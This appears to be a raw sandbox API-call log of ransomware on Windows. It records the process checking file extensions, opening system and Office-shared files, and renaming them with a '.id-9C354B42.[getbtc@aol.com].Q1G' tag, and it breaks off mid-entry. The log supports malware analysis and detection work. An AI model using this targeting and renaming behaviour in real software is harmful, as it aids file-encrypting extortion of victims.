[0236.183] lstrlenW (lpString=".docx") returned 5 [0236.183] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.183] lstrlenW (lpString=".pdf") returned 4 [0236.183] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.183] lstrlenW (lpString=".xls") returned 4 [0236.183] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.183] lstrlenW (lpString=".xlsx") returned 5 [0236.183] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.183] lstrlenW (lpString=".ppt") returned 4 [0236.183] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.183] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.183] lstrlenW (lpString=".zip") returned 4 [0236.183] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.183] lstrlenW (lpString=".rar") returned 4 [0236.183] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.183] lstrlenW (lpString=".bz2") returned 4 [0236.183] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.183] lstrlenW (lpString=".7z") returned 3 [0236.183] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.183] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.183] lstrlenW (lpString=".dbf") returned 4 [0236.183] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.183] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".1cd") returned 4 [0236.184] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".jpg") returned 4 [0236.184] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".doc") returned 4 [0236.184] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString=".docx") returned 5 [0236.184] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.184] lstrlenW (lpString=".pdf") returned 4 [0236.184] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.184] lstrlenW (lpString=".xls") returned 4 [0236.184] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.184] lstrlenW (lpString=".xlsx") returned 5 [0236.184] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.184] lstrlenW (lpString=".ppt") returned 4 [0236.184] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".zip") returned 4 [0236.184] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.184] lstrlenW (lpString=".rar") returned 4 [0236.184] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.184] lstrlenW (lpString=".bz2") returned 4 [0236.184] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString=".7z") returned 3 [0236.184] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".dbf") returned 4 [0236.184] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".1cd") returned 4 [0236.184] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.184] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0236.184] lstrlenW (lpString=".jpg") returned 4 [0236.184] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.185] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.185] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.185] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.185] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=76352) returned 1 [0236.185] CloseHandle (hObject=0x280) returned 1 [0236.185] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0236.185] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.185] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.185] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.185] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.185] lstrlenW (lpString=".doc") returned 4 [0236.185] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.185] lstrlenW (lpString=".docx") returned 5 [0236.185] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.185] lstrlenW (lpString=".pdf") returned 4 [0236.185] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.185] lstrlenW (lpString=".xls") returned 4 [0236.185] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.185] lstrlenW (lpString=".xlsx") returned 5 [0236.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.186] lstrlenW (lpString=".ppt") returned 4 [0236.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString=".zip") returned 4 [0236.186] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString=".rar") returned 4 [0236.186] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString=".bz2") returned 4 [0236.186] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.186] lstrlenW (lpString=".7z") returned 3 [0236.186] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString=".dbf") returned 4 [0236.186] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString=".1cd") returned 4 [0236.186] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString=".jpg") returned 4 [0236.186] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.186] lstrlenW (lpString=".doc") returned 4 [0236.186] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.186] lstrlenW (lpString=".docx") returned 5 [0236.186] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.186] lstrlenW (lpString=".pdf") returned 4 [0236.186] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString=".xls") returned 4 [0236.186] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString=".xlsx") returned 5 [0236.186] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.186] lstrlenW (lpString=".ppt") returned 4 [0236.186] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.186] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.187] lstrlenW (lpString=".zip") returned 4 [0236.187] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.187] lstrlenW (lpString=".rar") returned 4 [0236.187] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.187] lstrlenW (lpString=".bz2") returned 4 [0236.187] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.187] lstrlenW (lpString=".7z") returned 3 [0236.187] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.187] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.187] lstrlenW (lpString=".dbf") returned 4 [0236.187] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.187] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.187] lstrlenW (lpString=".1cd") returned 4 [0236.187] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.187] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0236.187] lstrlenW (lpString=".jpg") returned 4 [0236.187] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.187] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.187] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0236.187] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0236.187] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=75344) returned 1 [0236.187] CloseHandle (hObject=0x280) returned 1 [0236.187] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0236.187] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.188] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.188] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0236.188] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0236.188] lstrlenW (lpString=".doc") returned 4 [0236.188] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.188] lstrlenW (lpString=".docx") returned 5 [0236.188] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0236.188] lstrlenW (lpString=".pdf") returned 4 [0236.188] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.188] lstrlenW (lpString=".xls") returned 4 [0236.188] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.188] lstrlenW (lpString=".xlsx") returned 5 [0236.188] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0236.188] lstrlenW (lpString=".ppt") returned 4 [0236.188] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.188] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0236.188] lstrlenW (lpString=".zip") returned 4 [0236.188] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.188] lstrlenW (lpString=".rar") returned 4 [0236.188] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.188] lstrlenW (lpString=".bz2") returned 4 [0236.188] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.188] lstrlenW (lpString=".7z") returned 3 [0236.188] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\micaut.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\mraut.dll.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0236.420] Sleep (dwMilliseconds=0x64) [0236.529] Sleep (dwMilliseconds=0x64) [0236.641] Sleep (dwMilliseconds=0x64) [0236.748] Sleep (dwMilliseconds=0x64) [0236.858] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.860] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=4096) returned 1 [0236.860] CloseHandle (hObject=0x314) returned 1 [0236.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0236.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.861] lstrlenW (lpString=".doc") returned 4 [0236.861] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.861] lstrlenW (lpString=".docx") returned 5 [0236.861] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.861] lstrlenW (lpString=".pdf") returned 4 [0236.861] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.861] lstrlenW (lpString=".xls") returned 4 [0236.861] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.861] lstrlenW (lpString=".xlsx") returned 5 [0236.861] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.861] lstrlenW (lpString=".ppt") returned 4 [0236.861] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.861] lstrlenW (lpString=".zip") returned 4 [0236.861] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.861] lstrlenW (lpString=".rar") returned 4 [0236.861] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.861] lstrlenW (lpString=".bz2") returned 4 [0236.861] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.861] lstrlenW (lpString=".7z") returned 3 [0236.861] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.861] lstrlenW (lpString=".dbf") returned 4 [0236.861] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".1cd") returned 4 [0236.862] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".jpg") returned 4 [0236.862] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".doc") returned 4 [0236.862] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString=".docx") returned 5 [0236.862] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.862] lstrlenW (lpString=".pdf") returned 4 [0236.862] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.862] lstrlenW (lpString=".xls") returned 4 [0236.862] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.862] lstrlenW (lpString=".xlsx") returned 5 [0236.862] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.862] lstrlenW (lpString=".ppt") returned 4 [0236.862] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".zip") returned 4 [0236.862] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.862] lstrlenW (lpString=".rar") returned 4 [0236.862] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.862] lstrlenW (lpString=".bz2") returned 4 [0236.862] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString=".7z") returned 3 [0236.862] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".dbf") returned 4 [0236.862] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.862] lstrlenW (lpString=".1cd") returned 4 [0236.862] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui") returned 72 [0236.863] lstrlenW (lpString=".jpg") returned 4 [0236.863] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.863] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.863] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0236.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.864] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=3584) returned 1 [0236.864] CloseHandle (hObject=0x314) returned 1 [0236.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0236.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.864] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0236.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.864] lstrlenW (lpString=".doc") returned 4 [0236.864] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.864] lstrlenW (lpString=".docx") returned 5 [0236.864] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.864] lstrlenW (lpString=".pdf") returned 4 [0236.864] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.864] lstrlenW (lpString=".xls") returned 4 [0236.864] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.864] lstrlenW (lpString=".xlsx") returned 5 [0236.864] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.864] lstrlenW (lpString=".ppt") returned 4 [0236.864] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.864] lstrlenW (lpString=".zip") returned 4 [0236.864] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.864] lstrlenW (lpString=".rar") returned 4 [0236.865] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString=".bz2") returned 4 [0236.865] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString=".7z") returned 3 [0236.865] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString=".dbf") returned 4 [0236.865] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString=".1cd") returned 4 [0236.865] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString=".jpg") returned 4 [0236.865] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString=".doc") returned 4 [0236.865] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString=".docx") returned 5 [0236.865] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0236.865] lstrlenW (lpString=".pdf") returned 4 [0236.865] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString=".xls") returned 4 [0236.865] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString=".xlsx") returned 5 [0236.865] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0236.865] lstrlenW (lpString=".ppt") returned 4 [0236.865] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.865] lstrlenW (lpString=".zip") returned 4 [0236.865] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString=".rar") returned 4 [0236.865] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0236.865] lstrlenW (lpString=".bz2") returned 4 [0236.865] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0236.865] lstrlenW (lpString=".7z") returned 3 [0236.866] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0236.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.866] lstrlenW (lpString=".dbf") returned 4 [0236.866] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0236.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.866] lstrlenW (lpString=".1cd") returned 4 [0236.866] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0236.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui") returned 72 [0236.866] lstrlenW (lpString=".jpg") returned 4 [0236.866] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0236.866] lstrcmpiW (lpString1=".mui", lpString2=".Q1G") returned -1 [0236.866] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0236.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0236.866] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=4096) returned 1 [0236.866] CloseHandle (hObject=0x314) returned 1 [0236.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0236.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0236.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 